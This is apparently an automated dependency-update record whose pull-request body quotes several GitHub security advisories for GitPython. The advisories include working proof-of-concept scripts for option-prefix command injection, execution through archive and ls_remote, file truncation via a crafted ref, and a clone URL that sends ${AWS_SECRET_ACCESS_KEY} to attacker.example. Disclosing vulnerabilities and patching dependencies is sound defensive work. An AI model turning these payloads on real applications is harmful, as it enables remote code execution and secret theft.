          fix canonicalizes an option name along **one** axis (underscore\u2192hyphen
          via `dashify`) and checks it against an **exact-match** dict. It does not
          account for git's unambiguous long-option prefix abbreviation. Git accepts
          any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac`
          all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes
          to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=<value>`
          \u2192 executed as `--upload-pack=<value>` \u2192 command injection, in
          the default `allow_unsafe_options=False` configuration.\n\n##### The asymmetry
          (root cause)\n\n```python\n\n##### git/cmd.py (commit 20c5e275), lines 948-974\n@classmethod\ndef
          _canonicalize_option_name(cls, option):\n    option_name = option.lstrip(\"-\").split(\"=\",
          1)[0]\n    option_tokens = option_name.split(None, 1)\n    if not option_tokens:\n
          \       return \"\"\n    return dashify(option_tokens[0])      # only transform:
          \"_\" -> \"-\"\n\n@classmethod\ndef check_unsafe_options(cls, options, unsafe_options):\n
          \   canonical_unsafe_options = {cls._canonicalize_option_name(o): o for
          o in unsafe_options}\n    for option in options:\n        unsafe_option
          = canonical_unsafe_options.get(cls._canonicalize_option_name(option))\n
          \       if unsafe_option is not None:\n            raise UnsafeOptionError(...)\n```\n\nThe
          guard normalizes only `_`\u2192`-` and does exact dict membership. Git's
          CLI parser accepts a broader grammar (prefix abbreviation) than the guard
          models, so abbreviated keys slip through and reach git as the blocked option.\n\n#####
          Affected code (commit `20c5e275`)\n\n| Location | Role |\n|---|---|\n| `git/cmd.py:948-960`
          `_canonicalize_option_name` | canonicalizer \u2014 no prefix expansion |\n|
          `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the
          incomplete guard) |\n| `git/cmd.py:1511` `transform_kwarg` | emits `--<dashify(name)>=<value>`
          to the CLI |\n| `git/repo/base.py:1411,1413` | clone call sites |\n| `git/remote.py:1074,1128,1201`
          | fetch / pull / push call sites |\n\n##### Bypass keys (verified)\n\n|
          kwarg key | git resolves to | path | weaponizable |\n|---|---|---|---|\n|
          `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes
          \u2014 direct RCE |\n| `receive_p` | `--receive-pack` | push | Yes \u2014
          direct RCE |\n| `exe` | `--exec` | push | Yes \u2014 direct RCE |\n| `conf`,
          `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional
          config vector (see note) |\n\n##### Minimal PoC\n\nSelf-contained, no network
          egress (a local bare repo acts as the \"remote\"). Tested on current `main`
          (git 2.50.1):\n\n```python\nimport os, stat, tempfile\nfrom git import Repo\n\nwork
          = tempfile.mkdtemp()\nmarker = os.path.join(work, \"RCE_MARKER\")\n\n#####
          fake \"upload-pack\" program that proves arbitrary command execution\nprog
          = os.path.join(work, \"evil.sh\")\nwith open(prog, \"w\") as f:\n    f.write(f\"#!/bin/sh\\ntouch
          {marker}\\nexit 1\\n\")  # exit 1 so git aborts after our code ran\nos.chmod(prog,
          os.stat(prog).st_mode | stat.S_IEXEC)\n\nbare = os.path.join(work, \"remote.git\")\nRepo.init(bare,
          bare=True)\n\n##### attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog>
          -> git runs <prog>\ntry:\n    Repo.clone_from(bare, os.path.join(work, \"out\"),
          upload_p=prog)\nexcept Exception:\n    pass  # git aborts with GitCommandError
          AFTER the payload executed\n\nprint(\"RCE marker created:\", os.path.exists(marker))
          \ # True -> command injection confirmed\n```\n\nEquivalent at the shell:
          `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`.\n\nConfirmed
          behavior:\n- `upload_pack` (exact) \u2192 blocked; `upload_p` (abbrev) \u2192
          passes guard, reaches git, executes. The fix works for the form it models
          but not the abbreviated form.\n- `allow_unsafe_options=True` opt-out behaves
          as documented (out of scope).\n\n##### Honest scope note\n\nLike the parent
          CVE, exploitation requires a host application that flows attacker-controlled
          kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes
          only fixed/validated keys, this is not reachable \u2014 the vulnerability
          is in the library's documented defense-in-depth control (`allow_unsafe_options=False`),
          which this variant defeats.\n\nOn the `--config` family: `conf` bypasses
          the option blocklist, but weaponizing `--config protocol.ext.allow=always`
          via an `ext::` URL is independently blocked by GitPython's protocol allowlist
          (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack`
          / `receive-pack` / `exec`. Reported transparently \u2014 not claiming Critical.\n\n#####
          Suggested remediation (any one)\n\n1. **Prefix-aware matching:** reject
          any option whose canonical name is an unambiguous prefix of a blocked option
          (\u2248 `startswith` on the blocked canonical name, after `dashify`).\n2.
          **Disable abbreviation at the sink:** pass `--end-of-options` or invoke
          git in a way that disables long-option abbreviation.\n3. **Allowlist** option
          names on security-sensitive subcommands instead of a blocklist.\n\nRemediation
          should also cover the `-c`/`--config` family abbreviations, even though
          the `ext::` route is currently gated by the protocol allowlist.\n\n####
          Severity\n- CVSS Score: 8.8 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2161](https://redirect.github.com/gitpython-developers/GitPython/pull/2161)\n-
          [https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285](https://redirect.github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.51)\n-
          [https://github.com/advisories/GHSA-2f96-g7mh-g2hx](https://redirect.github.com/advisories/GHSA-2f96-g7mh-g2hx)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-2f96-g7mh-g2hx)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: command injection via unguarded Git options in `Repo.archive()`,
          `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()`
          / `Repo.blame()`\n[GHSA-956x-8gvw-wg5v](https://redirect.github.com/advisories/GHSA-956x-8gvw-wg5v)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nGitPython spawns
          the real `git` binary with an argument vector built from caller-supplied
          values. To prevent argument injection, GitPython maintains denylists of
          \"unsafe\" Git options (`--upload-pack`, `--receive-pack`, `--exec`, `-c`,
          `--config`, \u2026) that can be abused to run arbitrary commands, and enforces
          them with `Git.check_unsafe_options()`.\n\nThat enforcement is only wired
          into the **network** commands \u2014 `clone_from`, `Remote.fetch`, `Remote.pull`,
          `Remote.push`. Several other public APIs that also forward caller-controlled
          values into the `git` argv have **no guard at all**:\n\n1. **`Repo.archive(ostream,
          treeish=None, prefix=None, **kwargs)`** forwards `**kwargs` verbatim into
          `git archive`. An attacker-influenced options mapping such as `{\"remote\":
          \".\", \"exec\": \"<cmd>\"}` becomes `git archive --remote=. --exec=<cmd>
          -- <treeish>`, and `git archive --remote=<local repo>` invokes `git-upload-archive`
          whose path is overridden by `--exec` \u2192 **arbitrary command execution
          under default Git configuration** (no `protocol.ext.allow` needed).\n\n2.
          **`repo.git.ls_remote(<url>, upload_pack=\"<cmd>\")`** (and the dynamic-command
          builder generally) turns the `upload_pack` kwarg into `--upload-pack=<cmd>`
          with no guard \u2192 **arbitrary command execution**.\n\n3. **`Repo.iter_commits(rev)`**
          and **`Repo.blame(rev, file)`** place the caller's `rev` value into the
          argv *before* the `--` end-of-options separator and apply no leading-dash
          check. A benign-looking ref value such as `--output=/path/to/file` is parsed
          by `git rev-list` / `git blame` as the `--output` option, which **opens
          and truncates an arbitrary file** before Git even validates the revision
          \u2192 arbitrary file clobber (integrity/availability; can destroy keys,
          configs, lockfiles, or be aimed at files the host later sources).\n\nThe
          first two are direct code execution; the third is an arbitrary file-overwrite
          primitive. All share one root cause: the `check_unsafe_options` / end-of-options
          discipline that GitPython applies to clone/fetch/pull/push was never extended
          to these sinks.\n\n##### Details\n\nGitPython explicitly recognises these
          options as command-execution vectors. `git/remote.py:535`:\n\n```python\nunsafe_git_fetch_options
          = [\n    # Arbitrary command execution.\n    \"--upload-pack\",\n    \"--receive-pack\",\n
          \   # Arbitrary file overwrite.\n    \"--exec\",\n]\n```\n\nand enforces
          them via `Git.check_unsafe_options()` (`git/cmd.py:963`):\n\n```python\ndef
          check_unsafe_options(cls, options, unsafe_options):\n    ...\n    if unsafe_option
          is not None:\n        raise UnsafeOptionError(f\"{unsafe_option} is not
          allowed, use `allow_unsafe_options=True` to allow it.\")\n```\n\nBut `check_unsafe_options`
          is invoked from **only five sites**, all network commands:\n\n```\ngit/remote.py:1071
          \  Remote.fetch\ngit/remote.py:1125   Remote.pull\ngit/remote.py:1198   Remote.push\ngit/repo/base.py:1410
          / :1412  Repo.clone_from\n```\n\nThe following sinks call `git` with caller-controlled
          options/positionals and are **not** guarded:\n\n##### 1. `Repo.archive`
          \u2014 command execution (`git/repo/base.py:1623`)\n\n```python\ndef archive(self,
          ostream, treeish=None, prefix=None, **kwargs):\n    ...\n    self.git.archive(\"--\",
          treeish, *path, **kwargs)\n    return self\n```\n\n`treeish` and `path`
          are correctly placed after `--`, but `**kwargs` are converted by `Git.transform_kwarg`
          (`git/cmd.py:1487`) into `--<name>=<value>` flags and inserted **before**
          the `--` by `_call_process`, with no `check_unsafe_options`. `Repo.archive`
          already documents user-facing kwargs (`format`, `prefix`, `path`), so forwarding
          a caller options mapping is an expected usage. Final argv:\n\n```\ngit archive
          --remote=. --exec=<cmd> -- <treeish>\n```\n\n`git archive --remote=<repo>`
          runs the upload-archive helper; `--exec=<cmd>` overrides the helper path,
          executing `<cmd>` on the host. This works with **default Git config** \u2014
          it does not rely on the `ext::` transport (which is blocked by default).\n\n#####
          2. `repo.git.ls_remote(..., upload_pack=...)` \u2014 command execution (dynamic
          builder, `git/cmd.py:1487`)\n\n`transform_kwarg` dashifies `upload_pack`
          \u2192 `--upload-pack=<value>`. `git ls-remote <local-repo> --upload-pack=<cmd>`
          executes `<cmd>`. The dynamic builder makes **both** the flag name and value
          caller-controlled (`repo.git.<anything>(**user_dict)`), and `ls_remote`
          has no `check_unsafe_options`.\n\nThis is exactly the underscore-kwarg-vs-hyphen-kwarg
          gap that CVE-2026-42215 fixed for `fetch`/`pull`/`push`/`clone_from` \u2014
          but `ls_remote` and the rest of the dynamic surface were left unpatched.\n\n#####
          3. `Repo.iter_commits` / `Repo.blame` \u2014 arbitrary file overwrite (`git/objects/commit.py:348`,
          `git/repo/base.py:1199`)\n\n```python\n\n##### Commit.iter_items (reached
          via Repo.iter_commits)\nproc = repo.git.rev_list(rev, args_list, as_process=True,
          **kwargs)   # args_list == [\"--\", *paths]\n```\n\n```python\n\n##### Repo.blame\ndata
          = self.git.blame(rev, *rev_opts, \"--\", file, p=True, stdout_as_string=False,
          **kwargs)\n```\n\n`rev` is placed **before** `--`, with no leading-dash
          check anywhere in the path. A caller passing `rev=\"--output=/path\"` (a
          value that looks like an ordinary ref/branch/tag string an app forwards
          from user input) produces:\n\n```\ngit rev-list --output=/path --\n```\n\n`git
          rev-list`/`log`/`blame` honour `--output=<file>`, which `open()`s and truncates
          the file *before* validating the revision \u2014 so the file is destroyed
          even though Git then errors out on the bad revision.\n\n##### PoC\n\nAll
          three PoCs are self-contained, run against the released **GitPython 3.1.50**
          under **default Git configuration**, and were executed live (git 2.51.0).
          Each prints a host-side marker proving the effect.\n\n##### Install\n\n```bash\npython3
          -m venv venv && . venv/bin/activate\npip install GitPython           # resolves
          to 3.1.50\npython -c \"import git; print(git.__version__)\"   # 3.1.50\n```\n\n#####
          PoC 1 \u2014 command execution via `Repo.archive`\n\n```python\n\n#####
          archive_rce.py\nimport io, os, tempfile, subprocess, git\n\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d],
          check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',\n
          \               'commit','-q','--allow-empty','-m','init'], check=True)\nrepo
          = git.Repo(d)\n\nmarker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker')\nif
          os.path.exists(marker): os.remove(marker)\n\n##### a service lets a user
          export a repo and forwards their options dict\nopts = {'remote': '.', 'exec':
          'touch ' + marker}\ntry:\n    repo.archive(io.BytesIO(), **opts)\nexcept
          git.exc.GitCommandError as e:\n    print('[*] git exited non-zero (expected),
          but the exec already ran:', str(e).splitlines()[0][:60])\n\nprint('[+] marker
          present:', os.path.exists(marker))\n```\n\nVerbatim output:\n\n```\n[*]
          git exited non-zero (expected), but the exec already ran: Cmd('git') failed
          due to: exit code(128)\n[+] marker present: True\n```\n\n`git config --get
          protocol.ext.allow` returns nothing (unset = default), confirming no special
          config is required.\n\n##### PoC 2 \u2014 command execution via `git.ls_remote(upload_pack=...)`\n\n```python\n\n#####
          lsremote_rce.py\nimport os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d],
          check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'],
          check=True)\nrepo = git.Repo(d)\nmarker = os.path.join(tempfile.gettempdir(),'gp_lsr_marker')\nif
          os.path.exists(marker): os.remove(marker)\ntry:\n    repo.git.ls_remote('.',
          upload_pack='touch '+marker+';')\nexcept git.exc.GitCommandError as e:\n
          \   print('[*] git err:', str(e).splitlines()[0][:50])\nprint('[+] ls-remote
          marker present:', os.path.exists(marker))\n```\n\nVerbatim output:\n\n```\n[*]
          git err: Cmd('git') failed due to: exit code(128)\n[+] ls-remote marker
          present: True\n```\n\n##### PoC 3 \u2014 arbitrary file overwrite via a
          benign-looking `rev`\n\n```python\n\n##### itercommits_filewrite.py\nimport
          os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d],
          check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'],
          check=True)\nrepo = git.Repo(d)\nvictim = os.path.join(tempfile.gettempdir(),'gp_fw_victim')\nopen(victim,'w').write('do
          not delete\\n')\nprint('[*] before:', repr(open(victim).read()))\nuser_ref
          = '--output=' + victim          # value an app forwards as a \"ref/branch\"\ntry:\n
          \   list(repo.iter_commits(user_ref))\nexcept git.exc.GitCommandError as
          e:\n    print('[*] git err (after open+truncate):', str(e).splitlines()[0][:50])\nprint('[+]
          after :', repr(open(victim).read()), '<- truncated')\n```\n\nVerbatim output:\n\n```\n[*]
          before: 'do not delete\\n'\n[*] git err (after open+truncate): Cmd('git')
          failed due to: exit code(129)\n[+] after : '' <- truncated\n```\n\n####
          Severity\n- CVSS Score: 8.4 / 10 (High)\n- Vector String: `CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2163](https://redirect.github.com/gitpython-developers/GitPython/pull/2163)\n-
          [https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738](https://redirect.github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.51)\n-
          [https://github.com/advisories/GHSA-956x-8gvw-wg5v](https://redirect.github.com/advisories/GHSA-956x-8gvw-wg5v)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-956x-8gvw-wg5v)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Environment-variable exfiltration via os.path.expandvars() on
          Repo.clone_from() URL\n[GHSA-rwj8-pgh3-r573](https://redirect.github.com/advisories/GHSA-rwj8-pgh3-r573)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n`Repo.clone_from()`
          passes the caller-supplied remote URL through `Git.polish_url()`, which
          on every non-Cygwin platform calls `os.path.expandvars()` on the URL before
          handing it to `git clone`. An attacker who controls the URL argument \u2014
          the documented use case for `clone_from()` in \"import repository from URL\"
          features of CI servers, git-hosting mirrors, and dependency scanners \u2014
          can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the
          values of the hosting process's environment variables. The resulting URL,
          now containing the secret, is transmitted over the network to the attacker-named
          host. This crosses the trust boundary between an untrusted remote URL and
          the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY`
          or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone
          URL.\n\n##### Details\n**Affected versions:** `gitpython` (PyPI) \u2014
          all releases up to and including `3.1.50` (latest at time of reporting);
          confirmed present on the `main` branch.\n\n`Git.polish_url()` unconditionally
          applies environment-variable expansion to its input on the non-Cygwin branch:\n\n`git/cmd.py`
          (v3.1.50), lines 907\u2013925:\n```python\n@classmethod\ndef polish_url(cls,
          url: str, is_cygwin: Union[None, bool] = None) -> PathLike:\n    \"\"\"Remove
          any backslashes from URLs to be written in config files.\n    ...\n    \"\"\"\n
          \   if is_cygwin is None:\n        is_cygwin = cls.is_cygwin()\n\n    if
          is_cygwin:\n        url = cygpath(url)\n    else:\n        url = os.path.expandvars(url)
          \         # <-- line 921\n        if url.startswith(\"~\"):\n            url
          = os.path.expanduser(url)\n        url = url.replace(\"\\\\\\\\\", \"\\\\\").replace(\"\\\\\",
          \"/\")\n    return url\n```\n\n`Repo._clone()` \u2014 reached from the public
          `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` \u2014
          runs the unsafe-protocol check on the **raw** URL and then passes the **polished**
          (post-expansion) URL to the `git clone` subprocess:\n\n`git/repo/base.py`
          (v3.1.50), lines 1407\u20131418:\n```python\nif not allow_unsafe_protocols:\n
          \   Git.check_unsafe_protocols(url)\nif not allow_unsafe_options:\n    Git.check_unsafe_options(options=list(kwargs.keys()),
          unsafe_options=cls.unsafe_git_clone_options)\nif not allow_unsafe_options
          and multi:\n    Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)\n\nproc
          = git.clone(\n    multi,\n    \"--\",\n    Git.polish_url(url),          #
          <-- line 1417: expanded URL sent to `git clone`\n    clone_path,\n    ...\n)\n```\n\nBecause
          `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]`
          when set (and on Windows additionally `%NAME%`), an attacker-supplied URL
          such as:\n\n```\nhttps://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git\n```\n\nis
          rewritten server-side to embed the literal secret value in the path component,
          and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token
          is placed in the host label) carrying that value to `attacker.example`.
          The clone itself will typically fail, but the secret has already left the
          server by that point.\n\n`polish_url()` was written as a local-path normalisation
          helper (Cygwin path conversion, `~` expansion, backslash fixing) and is
          applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False`
          opt-out for the clone URL, and no documentation that the URL undergoes environment
          expansion \u2014 the `clone_from` docstring describes `url` only as a \"Valid
          git url\". By contrast, the maintainers already flag env-var expansion as
          a security concern for the *local repository path* argument: `Repo.__init__`
          emits a deprecation warning (\"The use of environment variables in paths
          is deprecated for security reasons\", `git/repo/base.py:226\u2013231`) and
          offers `expand_vars=False`. The same treatment is missing for the network-bound
          clone URL.\n\n**Secondary consequence (unsafe-protocol filter bypass).**
          Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line
          1408) but the *post-expansion* URL is what reaches `git`, an attacker who
          additionally controls any environment variable in the server process could
          set e.g. `X=ext::sh -c '...'` and submit `url=\"$X\"`; the raw string `$X`
          passes the `ext::` filter, then expands to an `ext::` remote-helper transport
          that `git` will execute. This requires a second precondition (env-var write)
          and is noted as an aggravating factor rather than a separate vulnerability.\n\n#####
          PoC\nTested against `gitpython==3.1.50` on Linux with Python 3 and `git`
          on `PATH`.\n\n```bash\npython3 -m venv /tmp/gp-venv\n/tmp/gp-venv/bin/pip
          install gitpython==3.1.50\n/tmp/gp-venv/bin/python poc.py\n```\n\n`poc.py`:\n```python\n\n#!/usr/bin/env
          python3\n\"\"\"\nPoC: environment-variable exfiltration via Repo.clone_from()
          URL.\n\nDemonstrates that an attacker-controlled `url` argument to Repo.clone_from()\nis
          passed through os.path.expandvars() before being given to `git clone`,\nso
          `$NAME` tokens in the URL are replaced with the server process's\nenvironment-variable
          values and transmitted to the attacker-named host.\n\nThe PoC intercepts
          the Popen argv to show the exact URL handed to `git`\nwithout performing
          real network I/O.\n\"\"\"\nimport os\nimport sys\nimport subprocess\nimport
          tempfile\n\n##### Simulate a sensitive server-side environment variable.\nos.environ[\"AWS_SECRET_ACCESS_KEY\"]
          = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n\nimport git                              #
          noqa: E402\nfrom git import Git, Repo               # noqa: E402\n\nprint(f\"gitpython
          version: {git.__version__}\")\n\n##### --- Layer 1: Git.polish_url() directly
          --------------------------------------\nattacker_url = \"https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\"\npolished
          = Git.polish_url(attacker_url)\nprint(\"\\n[Layer 1] polish_url result:\")\nprint(f\"
          \ input : {attacker_url}\")\nprint(f\"  output: {polished}\")\nif os.environ[\"AWS_SECRET_ACCESS_KEY\"]
          in polished:\n    print(\"  -> secret SUBSTITUTED into URL by polish_url()\")\n\n#####
          --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------\ncaptured
          = {}\norig_popen = subprocess.Popen\n\nclass CapturingPopen(orig_popen):\n
          \   def __init__(self, cmd, *a, **kw):\n        if isinstance(cmd, (list,
          tuple)) and \"clone\" in cmd:\n            captured[\"cmd\"] = list(cmd)\n
          \       super().__init__(cmd, *a, **kw)\n\nsubprocess.Popen = CapturingPopen\nimport
          git.cmd as gitcmd                # noqa: E402\ngitcmd.safer_popen = CapturingPopen
          \    # non-Windows: safer_popen == Popen\n\ndest = tempfile.mkdtemp(prefix=\"gp_poc_\")\ntry:\n
          \   Repo.clone_from(attacker_url, os.path.join(dest, \"out\"))\nexcept Exception
          as e:\n    # The clone fails (attacker.example does not resolve); we only
          need argv.\n    print(f\"\\n[Layer 2] clone_from raised (expected): {type(e).__name__}\")\n\nsubprocess.Popen
          = orig_popen\n\nprint(\"\\n[Layer 2] argv passed to `git clone` subprocess:\")\nfor
          tok in captured.get(\"cmd\", []):\n    print(f\"  {tok}\")\n\ncmd = captured.get(\"cmd\",
          [])\nurl_arg = cmd[cmd.index(\"--\") + 1] if \"--\" in cmd else None\nprint(f\"\\n[Layer
          2] URL argument given to git: {url_arg}\")\n\nsecret = os.environ[\"AWS_SECRET_ACCESS_KEY\"]\nif
          url_arg and secret in url_arg:\n    print(\n        \"\\nVULNERABLE: server
          env var AWS_SECRET_ACCESS_KEY was interpolated \"\n        \"into the remote
          clone URL; git would transmit it to attacker.example.\"\n    )\n    sys.exit(0)\nprint(\"\\nNOT
          VULNERABLE\")\nsys.exit(1)\n```\n\nExpected output:\n```\ngitpython version:
          3.1.50\n\n[Layer 1] polish_url result:\n  input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\n
          \ output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n
          \ -> secret SUBSTITUTED into URL by polish_url()\n\n[Layer 2] clone_from
          raised (expected): GitCommandError\n\n[Layer 2] argv passed to `git clone`
          subprocess:\n  git\n  clone\n  -v\n  --\n  https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n
          \ /tmp/gp_poc_XXXXXXXX/out\n\n[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n\nVULNERABLE:
          server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone
          URL; git would transmit it to attacker.example.\n```\n\nThe captured argv
          is the exact command line spawned by GitPython; against a real attacker-controlled
          host, `git` would issue a DNS lookup and HTTP(S) request to that host with
          the secret embedded in the request path.\n\n##### Impact\nAny application
          that calls `Repo.clone_from()` (or `Repo.clone()`) with a URL that is wholly
          or partially attacker-controlled \u2014 the canonical pattern for \"import/mirror
          repository from URL\" features in CI systems, source-code hosting platforms,
          dependency scanners, and build pipelines \u2014 allows an unauthenticated
          or low-privileged attacker to exfiltrate arbitrary environment variables
          from the server process, one per request, by naming them in the URL. Cloud
          credentials, API tokens, and signing keys stored in the environment are
          the primary targets. Applications that do not accept clone URLs from untrusted
          sources, or that run the cloner in a process with a fully stripped environment,
          are not affected. There is no direct integrity or availability impact.\n\n**Suggested
          fix:** Remove the `os.path.expandvars()` (and `os.path.expanduser()`) call
          from `Git.polish_url()` for inputs that are remote URLs (contain `://` or
          match `user@host:path`), or remove the expansion entirely and require callers
          who want local-path env expansion to perform it themselves \u2014 mirroring
          the existing deprecation on `Repo(path, expand_vars=\u2026)`. Additionally,
          apply `check_unsafe_protocols()` to the *post-transformation* URL so no
          future `polish_url` change can silently bypass the `ext::` filter.\n\n####
          Severity\n- CVSS Score: 7.5 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2172](https://redirect.github.com/gitpython-developers/GitPython/pull/2172)\n-
          [https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2](https://redirect.github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.52)\n-
          [https://github.com/advisories/GHSA-rwj8-pgh3-r573](https://redirect.github.com/advisories/GHSA-rwj8-pgh3-r573)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-rwj8-pgh3-r573)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: git-config section-name injection enables arbitrary config directives
          (core.sshCommand RCE)\n[GHSA-3rp5-jjmw-4wv2](https://redirect.github.com/advisories/GHSA-3rp5-jjmw-4wv2)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nIn GitPython `<=
          3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration
          **names**, but writes section names into the `[...]` header with no other
          escaping. A section/subsection name that contains `] [ \"` closes the intended
          header and opens a second same-line section, injecting an arbitrary config
          directive \u2014 with no newline required. Because a submodule **name**
          is attacker-controlled data (it comes from a repository's `.gitmodules`,
          or from an application that lets a user name a submodule) and is written
          verbatim into the parent repository's trusted `.git/config`, an attacker
          can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`)
          and achieve remote code execution on the victim's next git operation. Likely
          **CWE-74 (Inject\n\n> \u2702 **Note**\n> \n> PR body was truncated to here.\n"
        change_url: https://github.com/osism/pulpfiction/pull/10
        commit_id: c8954fa4dba3805bcb75345d9aae2b0ccca2c87c
        patchset: c8954fa4dba3805bcb75345d9aae2b0ccca2c87c
        project:
          canonical_hostname: github.com
          canonical_name: github.com/osism/pulpfiction
          name: osism/pulpfiction
          short_name: pulpfiction
        src_dir: src/github.com/osism/pulpfiction
        topic: null
      change: '10'
      change_message: "Update dependency GitPython to v3.1.57 [SECURITY]\n\n> \u2139\uFE0F
        **Note**\n> \n> This PR body was truncated due to platform limits.\n\nThis
        PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
        | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
        [GitPython](https://redirect.github.com/gitpython-developers/GitPython) |
        `==3.1.44` \u2192 `==3.1.57` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/gitpython/3.1.57?slim=true)
        | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/gitpython/3.1.44/3.1.57?slim=true)
        |\n\n---\n\n### GitPython has Command Injection via Git options bypass\n[CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215)
        / [GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\nGitPython blocks dangerous
        Git options such as `--upload-pack` and `--receive-pack` by default, but the
        equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check.
        If an application passes attacker-controlled kwargs into `Repo.clone_from()`,
        `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary
        command execution even when `allow_unsafe_options` is left at its default
        value of `False`.\n\n##### Details\nGitPython explicitly treats helper-command
        options as unsafe because they can be used to execute arbitrary commands:\n\n-
        `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`,
        `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push
        options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe
        vulnerable API paths check the raw kwarg names before they're its normalized
